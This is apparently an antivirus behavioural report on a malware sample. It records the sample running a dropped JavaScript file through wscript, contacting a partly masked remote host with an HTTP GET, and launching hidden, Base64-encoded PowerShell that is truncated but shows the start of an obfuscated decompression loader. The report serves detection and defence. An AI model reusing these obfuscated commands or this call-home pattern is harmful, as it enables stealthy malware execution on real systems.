Technical Information
Malicious functions
Creates and executes the following (exploit)
- '<SYSTEM32>\wscript.exe' "%WINDIR%\Temp\whivripfqw.js"
Executes the following (exploit)
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1920
Modifies file system
Creates the following files
- %WINDIR%\temp\whivripfqw.js
- %TEMP%\835338.cvr
Network activity
Connects to
- 'sp###rerck.com':80
TCP
HTTP GET requests
- http://sp###rerck.com/qoie8rg/m1m2m.php?l=########
UDP
- DNS ASK sp###rerck.com
- DNS ASK al####usenberg.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -En IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBtA...' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -En IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBtA...
